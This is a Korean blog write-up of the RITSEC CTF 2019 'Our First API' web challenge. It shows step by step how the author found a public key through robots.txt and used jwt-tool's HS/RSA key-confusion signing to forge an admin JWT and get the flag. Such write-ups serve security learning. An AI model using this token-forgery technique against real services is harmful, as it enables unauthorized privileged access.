Jaeseo's Information Security Story

RITSEC CTF 2019 - WriteUp - Our First API 본문

Write UP/RITSEC CTF 2019

RITSEC CTF 2019 - WriteUp - Our First API

Jaeseokim 2019. 11. 25. 15:03

Our First API

문제구분 난이도 작성자
WEB JaeseoKim

문제 내용

문제 풀이

문제를 보면 2개의 사이트를 제공하고 있습니다. 일단 포트번호 4000번대로 들어가보면 아래와 같은 내용으로 되어 있는 것을 알 수 있습니다.

 

 

:3000/AUTH에서 토큰을 발급 받고 :4000/API/ADMIN, :4000/API/NORMAL에서 인증을 하여 Flag를 도출해야 하는 문제로 보입니다. 일단 :3000/AUTH에서 토큰을 발급 받습니다.

{"reason":"missing name parameter"}

접근을 하면 위와 같이 name 파라미터가 부족하다고 하는데 get 방식으로 파라미터를 넘겨봅니다.

{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiVGVhbU1PRFUiLCJ0eXBlIjoidXNlciIsImlhdCI6MTU3NDMxMzA3Mn0.bJXapU4QJVV316YkDZ9gKRaJplQb7IrGR-O__R6CxWEgItZnKL0OX9yG7Ry57ICX3v377izt1ngLm6z97CpQCFQ_Iz-fgjMXQihvgZDtYv_uG3yJlYZ1aFC04qVOZ5Wk8o0uJkRVW-E6nB1Kj1ynBgEX3xFxkdb9VPL1DceOCXA"}

그러면 위와 같이 토큰 값을 발급해주는 것을 볼 수 있습니다.

이제 일단 이 토큰(JWT)을 가지고 :4000/AUTH/NORMAL에 대해 인증을 시도 합니다. 이때 JWT 토큰 전달을 위해 헤더에 추가하여 Foward 시킵니다.

Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiVGVhbU1PRFUiLCJ0eXBlIjoidXNlciIsImlhdCI6MTU3NDMxMzA3Mn0.bJXapU4QJVV316YkDZ9gKRaJplQb7IrGR-O__R6CxWEgItZnKL0OX9yG7Ry57ICX3v377izt1ngLm6z97CpQCFQ_Iz-fgjMXQihvgZDtYv_uG3yJlYZ1aFC04qVOZ5Wk8o0uJkRVW-E6nB1Kj1ynBgEX3xFxkdb9VPL1DceOCXA
{"flag":"Congrats on authenticating! Too bad flags aren't for normal users !!"}

그러면 위와 같은 형태로 Flag를 반환 시켜 주는데 normal 유저의 권한으로는 ADMIN에 접근이 불가능하기 때문에 JWT를 수정 해야 합니다. 이때 :4000의 웹사이트에서 힌트를 발견할 수 있습니다.

</body>
<!-- Robots can help you with the api -->
</html>
User-agent: * Disallow: /signing.pem Disallow: /auth

3000/robots.txt 파일을 본 결과 signing.pem 이라는 인증서가 존재 하는 것을 볼 수 있습니다.

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBquzMGkZlJmZm4pYppxeDmsGd
8+9mOh5S9O7W7Gu5VByfl7i3JdCfGxRJdHscg6l321PeTXsXGZ7goHd4Xjv/FtKQ
DyoaKql4Kl692KKKN/9xA6tKdOYQbZvPqyRXUVOGdyZ12qFBOQzI7ox22YL3ul/3
nyiDR+p+JKbdVU6AWQIDAQAB
-----END PUBLIC KEY-----

이걸 가지고 JWT Crack을 시도 합니다. jwt-tool을 사용하였습니다.

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\ 
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
  Version 1.3                 \______|                           


=====================
Decoded Token Values:
=====================

Token header values:
[+] typ = JWT
[+] alg = RS256

Token payload values:
[+] name = TeamMODU
[+] type = user
[+] iat = 1574313072    ==> TIMESTAMP = 2019-11-21 14:11:12 (UTC)

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################
#  Options:                                            #
#                ==== TAMPERING ====                   #
#  1: Tamper with JWT data (multiple signing options)  #
#                                                      #
#             ==== VULNERABILITIES ====                #
#  2: Check for the "none" algorithm vulnerability     #
#  3: Check for HS/RSA key confusion vulnerability     #
#  4: Check for JWKS key injection vulnerability       #
#                                                      #
#            ==== CRACKING/GUESSING ====               #
#  5: Check HS signature against a key (password)      #
#  6: Check HS signature against key file              #
#  7: Crack signature with supplied dictionary file    #
#                                                      #
#            ==== RSA KEY FUNCTIONS ====               #
#  8: Verify RSA signature against a Public Key        #
#                                                      #
#  0: Quit                                             #
########################################################

Please make a selection (1-6)
> 1
====================================================================
This option allows you to tamper with the header, contents and 
signature of the JWT.
====================================================================

Token header values:
[1] typ = JWT
[2] alg = RS256
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] name = TeamMODU
[2] type = user
[3] iat = 1574313072    ==> TIMESTAMP = 2019-11-21 14:11:12 (UTC)
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[6] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2
Current value of type is: user
Please enter new value and hit ENTER
> admin 
[1] name = TeamMODU
[2] type = admin
[3] iat = 1574313072    ==> TIMESTAMP = 2019-11-21 14:11:12 (UTC)
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[6] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature

Please select an option from above (1-5):
> 5
Please enter the key file's filename:
> aigning.pem
Loading key file...
File loaded: signing.pem

Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 3
Your new forged token:
[+] URL safe: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJuYW1lIjoiVGVhbU1PRFUiLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzQzMTMwNzJ9.3sXt0-pLrodns48GYocEiFyfttpbQcjOwhs06bMIiVEMc71kFStHox1n2d-rPg8kuBgHc8TGvKVPkhdQQzPp1Q
[+] Standard: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJuYW1lIjoiVGVhbU1PRFUiLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzQzMTMwNzJ9.3sXt0+pLrodns48GYocEiFyfttpbQcjOwhs06bMIiVEMc71kFStHox1n2d+rPg8kuBgHc8TGvKVPkhdQQzPp1Q

여기서 나온 token값을 이용해서 /AUTH/ADMIN에 전송을 하게 되면 아래와 같이 플래그를 출력해줍니다.

{"flag":"RITSEC{JWT_th1s_0ne_d0wn}"}

RITSEC{JWT_th1s_0ne_d0wn}

참고 포인트

  • JWT
  • jwt-tool
  • robots.txt
Comments